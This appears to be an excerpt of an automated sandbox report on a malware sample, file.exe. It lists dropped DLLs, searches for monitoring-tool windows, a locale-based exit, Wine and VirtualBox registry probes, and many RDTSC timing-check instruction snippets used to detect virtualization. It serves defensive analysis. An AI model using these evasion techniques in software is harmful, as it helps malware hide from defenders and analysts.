Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_009B9270

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58047

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49E1F second address: D49E29 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49E29 second address: D49E33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9724523DC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49E33 second address: D49E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49E37 second address: D49E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9724523DC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9724523DCBh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D80E second address: D5D82B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F9724BF79BEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D82B second address: D5D831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D831 second address: D5D836 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D836 second address: D5D83C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60816 second address: D6081B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6081B second address: D60821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60821 second address: D60825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60825 second address: D6083C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007F9724523DD8h 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F9724523DC6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6083C second address: D608B2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9724BF79B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edx, ecx 0x0000000d push 00000000h 0x0000000f ja 00007F9724BF79BCh 0x00000015 and ecx, dword ptr [ebp+122D2A32h] 0x0000001b call 00007F9724BF79B9h 0x00000020 jng 00007F9724BF79C1h 0x00000026 push eax 0x00000027 push eax 0x00000028 push eax 0x00000029 jmp 00007F9724BF79BBh 0x0000002e pop eax 0x0000002f pop eax 0x00000030 mov eax, dword ptr [esp+04h] 0x00000034 jnc 00007F9724BF79C4h 0x0000003a mov eax, dword ptr [eax] 0x0000003c pushad 0x0000003d jng 00007F9724BF79BCh 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D608B2 second address: D608B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D608B6 second address: D608BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D608BA second address: D608CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c js 00007F9724523DCCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D608CE second address: D6090B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 js 00007F9724BF79B6h 0x0000000d popad 0x0000000e popad 0x0000000f pop eax 0x00000010 mov ch, 69h 0x00000012 push 00000003h 0x00000014 mov dword ptr [ebp+122D2CF9h], esi 0x0000001a push 00000000h 0x0000001c mov dl, 75h 0x0000001e push 00000003h 0x00000020 xor dword ptr [ebp+122D2CF1h], edx 0x00000026 call 00007F9724BF79B9h 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F9724BF79BCh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6090B second address: D60910 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60910 second address: D60928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F9724BF79BCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60928 second address: D60944 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d pushad 0x0000000e js 00007F9724523DC6h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pushad 0x00000018 push edi 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60944 second address: D60955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 jng 00007F9724BF79BCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60955 second address: D60995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 jg 00007F9724523DD0h 0x0000000f pop eax 0x00000010 jmp 00007F9724523DD9h 0x00000015 lea ebx, dword ptr [ebp+12450621h] 0x0000001b mov ecx, ebx 0x0000001d push eax 0x0000001e push eax 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60A69 second address: D60A6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60A6D second address: D60A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60A76 second address: D60AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F9724BF79BFh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jnc 00007F9724BF79CEh 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60AB5 second address: D60AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60B8A second address: D60B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7398C second address: D7399D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jnl 00007F9724523DD4h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7399D second address: D739A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82701 second address: D8270B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9724523DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8270B second address: D82727 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8065B second address: D8066D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9724523DCEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8066D second address: D80671 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D80AA9 second address: D80AB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D80C3D second address: D80C63 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9724BF79C1h 0x0000000b pushad 0x0000000c jp 00007F9724BF79B6h 0x00000012 pushad 0x00000013 popad 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81797 second address: D8179C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D3B5 second address: D4D3C7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9724BF79BCh 0x00000008 js 00007F9724BF79B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D3C7 second address: D4D3CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D3CD second address: D4D3D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86E48 second address: D86E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86E52 second address: D86E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9724BF79C3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86E6E second address: D86E73 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D87403 second address: D8740D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F9724BF79B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8740D second address: D87411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8634A second address: D8634E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8634E second address: D86352 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50A77 second address: D50A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9724BF79B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50A81 second address: D50AB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9724523DD3h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9724523DD2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50AB1 second address: D50AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50AB5 second address: D50ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50ABB second address: D50AC5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9724BF79BEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A9F4 second address: D8A9F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5753C second address: D57540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57540 second address: D57546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57546 second address: D57570 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79BFh 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F9724BF79B6h 0x0000000f jmp 00007F9724BF79C1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D90432 second address: D90436 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D90436 second address: D9044E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9724BF79B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jmp 00007F9724BF79BAh 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D90A7B second address: D90A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D92A0C second address: D92A17 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93925 second address: D9392B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93C76 second address: D93C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D949BA second address: D949BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96B26 second address: D96B53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724BF79C5h 0x00000007 jo 00007F9724BF79CAh 0x0000000d jmp 00007F9724BF79BEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D949BF second address: D949C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D949C4 second address: D949D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5906F second address: D5908E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9724523DD7h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D949D1 second address: D949D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97CA9 second address: D97CAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97CAE second address: D97D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9724BF79C5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jnp 00007F9724BF79CBh 0x00000013 nop 0x00000014 jo 00007F9724BF79C4h 0x0000001a pushad 0x0000001b mov dword ptr [ebp+122D2752h], edi 0x00000021 mov dword ptr [ebp+12456A21h], esi 0x00000027 popad 0x00000028 push 00000000h 0x0000002a mov dword ptr [ebp+12452367h], edi 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007F9724BF79B8h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c sub si, C0CEh 0x00000051 xchg eax, ebx 0x00000052 push eax 0x00000053 push edx 0x00000054 push edx 0x00000055 push edi 0x00000056 pop edi 0x00000057 pop edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97D2F second address: D97D35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9A7C0 second address: D9A848 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F9724BF79B6h 0x00000009 jl 00007F9724BF79B6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], eax 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F9724BF79B8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f jmp 00007F9724BF79C7h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ecx 0x00000039 call 00007F9724BF79B8h 0x0000003e pop ecx 0x0000003f mov dword ptr [esp+04h], ecx 0x00000043 add dword ptr [esp+04h], 00000015h 0x0000004b inc ecx 0x0000004c push ecx 0x0000004d ret 0x0000004e pop ecx 0x0000004f ret 0x00000050 push 00000000h 0x00000052 mov si, 5571h 0x00000056 xchg eax, ebx 0x00000057 pushad 0x00000058 jmp 00007F9724BF79BDh 0x0000005d push ecx 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9A848 second address: D9A855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9A855 second address: D9A85B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9D0F0 second address: D9D0FA instructions: 0x00000000 rdtsc 0x00000002 je 00007F9724523DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9E612 second address: D9E63B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F9724BF79C2h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007F9724BF79BCh 0x00000016 jne 00007F9724BF79B6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9E63B second address: D9E6B4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9724523DCCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F9724523DC8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 jmp 00007F9724523DD7h 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+122D2D4Fh], ebx 0x00000032 push 00000000h 0x00000034 pushad 0x00000035 adc bx, B4CCh 0x0000003a jg 00007F9724523DC6h 0x00000040 popad 0x00000041 cld 0x00000042 xchg eax, esi 0x00000043 je 00007F9724523DD2h 0x00000049 jno 00007F9724523DCCh 0x0000004f push eax 0x00000050 pushad 0x00000051 pushad 0x00000052 pushad 0x00000053 popad 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA17E7 second address: DA17F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9724BF79B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA17F1 second address: DA17F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA17F5 second address: DA181A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9724BF79BDh 0x0000000d push eax 0x0000000e jmp 00007F9724BF79BDh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA181A second address: DA1827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F9724523DC6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D483A9 second address: D483B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D483B1 second address: D483B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA2D37 second address: DA2D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA2D3B second address: DA2D4C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9724523DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1FD6 second address: DA1FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3D51 second address: DA3D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
